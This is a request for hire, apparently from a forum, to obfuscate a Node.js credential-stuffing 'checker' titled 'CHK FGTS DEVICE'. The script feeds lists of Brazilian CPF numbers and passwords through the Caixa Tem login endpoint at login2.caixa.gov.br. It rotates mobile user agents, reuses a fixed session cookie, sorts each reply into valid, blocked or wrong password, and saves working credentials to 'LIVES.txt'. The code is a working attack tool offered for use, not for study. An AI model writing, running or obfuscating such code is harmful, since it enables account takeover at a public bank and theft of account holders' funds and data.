I need a programmer

I need to convert a script in node.js to ob1 or ob2 paid for by the service

utf8 = require("utf8"),
eol = require("os").EOL,
fs = require("fs")
const puppeteer = require('puppeteer');
const signale = require('signale');
const prompt = require('prompt-sync')();
const figlet = require("figlet");
const utils = require("./utils/")
var rn = require('random-number');
var randomstring = require("randomstring");
var request = require('request');
const UserAgent = require("user-agents")
const chalk = require("chalk");
const { exit } = require("process");
const cheerio = require('cheerio');
//curls

//tela
figlet("CHK FGTS DEVICE", {font: ""}, function (err, data) {
    console.log()
    console.log(chalk.bgBlue(data))
        console.log(chalk.bgYellow("+ " + `Checker Cep e Tel`))
		console.log(chalk.bgYellow("+ " + `USAR LISTA DE CPF E SENHA`))
    console.log(chalk.bgYellow("+ " + `Threads ${threads} !`))
    console.log(chalk.bgYellow("+ " + `${lista.length} Cpfs Carregados.`))
    console.log()
    console.log()
	console.log(chalk.bgCyan("CRIADO POR DEVICE R7"))
	console.log(chalk.bgCyan("CONTATO OFICIAL 21-96425-2365"))
	console.log()
    console.log()
    console.log(chalk.bgCyan("Checker Iniciado."))
	for (let linha of lista.splice(0, `${threads}`)) {
    init(linha)

    }

});

	const threads = prompt('Escolha A Quantidade De Threads para Teste Recomendado(5): ');

	console.log()
	console.log()

//lista
var lista = fs.readFileSync("lista.txt", "utf8").split(eol)
lista = lista.filter((line) => {
    try {
    let [cpf,senha] = line.split("|")
    (cc.length == 8)
    } catch(e) {
        return true
    }
})
//funtion chk
async function init(line) {

  //init
var [cpf,senha] = line.split("|");
//userAgent
let userAgent = new UserAgent({ deviceCategory: 'mobile' })

await new Promise(resolve => setTimeout(resolve, 2500));


let caixa = ((await utils.request({
    url: `https://login2.caixa.gov.br/auth/realms/internet/protocol/openid-connect/auth?redirect_uri=br.gov.caixa.tem:/oauth2Callback&client_id=cli-mob-nbm&response_type=code&state=d6KJpa1jLZHM7pdN3kSV1g&scope=offline_access&code_challenge=BL5-6y_OB-vwYsLvBoDtSzwDuPtiglWTdf73hkrUryE&code_challenge_method=S256&app=br.gov.caixa.tem;vertical=https://mobilidade.cloud.caixa.gov.br;runtime=mfp&nivel=10`,
    // proxy: ip,
    method: "GET",
    gzip: true,
    headers: {
    "User-Agent": `${userAgent}`,
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept-Encoding": "gzip, deflate, br"
    }
    })).body)
//console.log(caixa)



var $ = cheerio.load(caixa);
var formAction = $('#form-login').attr('action');
var sessionId = $('#sessionId').val();
//console.log(sessionId)
if (typeof formAction == 'undefined' && formAction == null){
    signale.error(chalk.bgRed(`#ERRO ${cpf}|${senha} >> RETORNO: CPF CADASTRADO`));
    fs.appendFileSync("retestar.txt", `${cpf}|${senha}` + eol)
    if (lista.length !== 0) init(lista.shift())
return
}
var caixalogin = ((await utils.request({
url: formAction,
body: `f10=&step=1&username=${cpf}`,
method: 'POST',
jar: 'true',
    headers: {
        "User-Agent": `${userAgent}`,
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authority': 'login2.caixa.gov.br',
            }
})).body)
//console.log(caixalogin)



var caixalogin1 = ((await utils.request({
url: formAction,
method: "POST",
body: `username=${cpf}&step=3&password=${senha}`,
    headers: {
"User-Agent": `${userAgent}`,
        'Content-Type': 'application/x-www-form-urlencoded',
        'Cookie': `AUTH_SESSION_ID=${sessionId}.AZRJPCAPLLX040; KC_RESTART=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICIyOGYxZTFlZC02ZDAxLTRkMDAtYWEzMS1lM2VlY2MzY2RhYmIifQ.eyJjaWQiOiJjbGktbW9iLW5ibSIsInB0eSI6Im9wZW5pZC1jb25uZWN0IiwicnVyaSI6ImJyLmdvdi5jYWl4YS50ZW06L29hdXRoMkNhbGxiYWNrIiwiYWN0IjoiQVVUSEVOVElDQVRFIiwibm90ZXMiOnsiaXNzIjoiaHR0cHM6Ly9sb2dpbjIuY2FpeGEuZ292LmJyL2F1dGgvcmVhbG1zL2ludGVybmV0IiwicmVzcG9uc2VfdHlwZSI6ImNvZGUiLCJjb2RlX2NoYWxsZW5nZV9tZXRob2QiOiJTMjU2IiwibG9naW5faGludCI6IiIsImNsaWVudF9yZXF1ZXN0X3BhcmFtX2FwcCI6ImJyLmdvdi5jYWl4YS50ZW07dmVydGljYWw9aHR0cHM6Ly9tb2JpbGlkYWRlLmNsb3VkLmNhaXhhLmdvdi5icjtydW50aW1lPW1mcCIsInNjb3BlIjoib2ZmbGluZV9hY2Nlc3MiLCJjbGllbnRfcmVxdWVzdF9wYXJhbV9kZXZpY2VJZCI6IjkxNDY5MDhlLTI0YWEtM2JjMy1hYmFhLWY4ZDUzZTQ2ZWYyOCIsImNsaWVudF9yZXF1ZXN0X3BhcmFtX3NvIjoiQW5kcm9pZCIsImNsaWVudF9yZXF1ZXN0X3BhcmFtX25pdmVsIjoiMTIiLCJzdGF0ZSI6Ikt0bEM3WmFRWVN4MVlTQmJGRWIzWnciLCJyZWRpcmVjdF91cmkiOiJici5nb3YuY2FpeGEudGVtOi9vYXV0aDJDYWxsYmFjayIsImNsaWVudF9yZXF1ZXN0X3BhcmFtX29yaWdlbSI6Im1mIiwiY29kZV9jaGFsbGVuZ2UiOiJHaDQ2QzRkaU9DcHlFVTcxbHBGQWwyUFA4SGRDcnB1RVd2eF8xTXBja2QwIn19.izfrvHwe1YSGXFxm-lNR4XrtVRhzKz6-C-83Ldb0pKE; ROUTEID=.AZRJPCAPLLX006`,
        'Authority': 'login2.caixa.gov.br',
        'Accept-Encoding': 'gzip, deflate, br',
            }
})).body)


//console.log(caixalogin1)


if (caixalogin1.includes('Não existe cadastro para o CPF informado.') !== false) {
    signale.error(chalk.bgBlue(`#Reprovada ${cpf}|${senha} >> RETORNO: CPF SEM CADASTRO`));
    fs.appendFileSync("SemCadastro.txt", `[+] LIVE CPF: ${cpf} - SEM CADASTRO` + eol)
    if (lista.length !== 0) init(lista.shift())
return
}
if (caixalogin1.includes('The request is blocked')) {
    signale.error(chalk.bgRed(`#Reprovada ${cpf}|${senha} >> RETORNO: IP BLOCKED`));
    fs.appendFileSync("retestar.txt", `${cpf}|${senha}` + eol)
    if (lista.length !== 0) init(lista.shift())
return
}
if (caixalogin1.includes('Recaptcha inválido')) {
signale.error(chalk.bgYellow(`#Reprovada ${cpf}|${senha} >> RETORNO: SENHA INCORRETA`));
if (lista.length !== 0) init(lista.shift())
return
}


if (caixalogin1.includes('Olá, precisamos confirmar alguns dados para continuar')) {
  signale.success(chalk.bgGreen(`#Aprovada ${cpf}|${senha} >> RETORNO: CONFIRME SEU CEP E CELULAR`));
  fs.appendFileSync("LIVES.txt", `#Aprovada ${cpf}|${senha} >> RETORNO: CONFIRME SEU CEP E CELULAR`+ eol)
  if (lista.length !== 0) init(lista.shift())
return
}
else {
signale.error(`#Reprovada ${cpf}|${senha} >> RETORNO: ALGUM ERRO LOKO`);
if (lista.length !== 0) init(lista.shift())
return
}
    }
if (lista.length !== 0) init(lista.shift())´´´